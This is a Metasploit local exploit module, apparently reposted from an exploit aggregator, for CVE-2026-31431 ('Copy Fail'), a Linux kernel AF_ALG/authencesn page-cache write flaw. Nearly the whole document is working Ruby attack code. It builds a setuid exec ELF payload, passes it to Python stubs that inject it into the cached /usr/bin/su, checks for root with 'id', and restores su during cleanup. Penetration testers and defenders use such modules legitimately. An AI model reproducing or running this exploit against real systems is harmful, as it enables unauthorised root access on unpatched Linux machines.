Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_31431_COPY_FAIL-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Architecture
  include Msf::Post::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Copy Fail AF_ALG + authencesn Page-Cache Write',
        'Description' => %q{
          CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the
          AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled
          4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the
          on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local
          privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.
          The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and
          affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.
        },
        'References' => [
          ['CVE', '2026-31431'],
          ['URL', 'https://copy.fail/'],
          ['URL', 'https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py'],
          ['URL', 'https://github.com/rootsecdev/cve_2026_31431']
        ],
        'Author' => [
          'Xint Code',
          'rootsecdev', # cleanup technique and additional PoC
          'Spencer McIntyre', # metasploit module
          'Diego Ledda' # metasploit module & python2.7 porting
        ],
        'DisclosureDate' => '2026-04-29',
        'License' => MSF_LICENSE,
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [
          [
            # the payload is a linux command but the target must be a supported architecture (have an exec payload and
            # PrependSetuid support)
            'Linux Command',
            {
              'Platform' => ['linux', 'unix'],
              'Arch' => ARCH_CMD,
              # Space is constrained due to the max size of the resulting ELF executable (2024 on 6.8.0-79-generic
              # x86_64, 2036 on 6.6.63-v8+ aarch64, 2028 on 5.15.44-Re4son-v7+ armv7l) if Metasploit changes the ELF
              # executable size in the future, this may need to be updated. The Space here is the largest size that
              # yeilds an ELF executable that fits all tested architectures.
              'Payload' => { 'Space' => 1847, 'DisableNops' => true }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Copy Fail'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )
  end

  def check
    stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-check.py'))
    begin
      output = run_python_stub(stub_source)
    rescue Msf::Exploit::Failed => e
      return CheckCode::Unknown("The exploit check failed: #{e}")
    end

    last_error = nil
    output.split("\n").each do |line|
      if line.start_with?('[-] ')
        print_error(last_error) if last_error
        last_error = line[4...]
      elsif line.start_with?('[+] ')
        print_good(line[4...])
      elsif line.start_with?('[*] ')
        print_status(line[4...])
      else
        print_line(line)
      end
    end

    return CheckCode::Safe(last_error) if last_error

    begin
      result = run_command('id')
    rescue Msf::Exploit::Failed => e
      return CheckCode::Unknown("The exploit check failed: #{e}")
    end

    vprint_status("run_command('id') returned: #{result.inspect}")
    return CheckCode::Vulnerable('The id command returned uid=0, confirming root-level code execution') if result =~ /uid=0(\(\w+\))?/

    CheckCode::Safe('The target system is not exploitable.')
  end

  def find_exec_program
    %w[python python3 python2.7 python2].select(&method(:command_exists?)).first
  end

  def exploit
    run_command(payload.encoded)
  end

  def run_python_stub(stub_source, *args)
    python_binary = @python_binary || find_exec_program
    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary

    if @python_binary.nil?
      vprint_status("Using '#{python_binary}' on the remote target.")
      @python_binary = python_binary
    end

    stub = Msf::Payload::Python.create_exec_stub(stub_source)

    create_process(
      '/bin/sh',
      args: ['-c', "echo #{Shellwords.escape(stub)} | exec #{python_binary} - \"$@\"", '-'] + args
    )
  end

  def run_command(os_command)
    os_architecture = get_os_architecture

    unless [ ARCH_X64, ARCH_AARCH64, ARCH_ARMLE ].include?(os_architecture)
      # this is an artificial filter for MVP while the details for the other architectures are worked out and tested.
      fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.")
    end

    cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec")
    fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')

    cmd_payload.datastore['CMD'] = os_command
    cmd_payload.datastore['PrependSetuid'] = true
    elf = cmd_payload.generate_simple('Format' => 'elf')

    # this is useful for determining the max size that can be written by the exploit
    vprint_status("Generated a #{elf.size} byte ELF executable...")

    print_status('Triggering the vulnerability using Python...')
    stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431.py'))
    run_python_stub(stub_source, ::Base64.strict_encode64(Zlib::Deflate.deflate(elf)))
  end

  def cleanup
    # cleanup technique to restore su to the original behavior courtesy of
    # https://github.com/rootsecdev/cve_2026_31431/blob/f288952034d0d1b21c035d178c7a485dcf6a3618/exploit_cve_2026_31431.py#L183-L187
    stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-cleanup.py'))
    run_python_stub(stub_source)
  end
end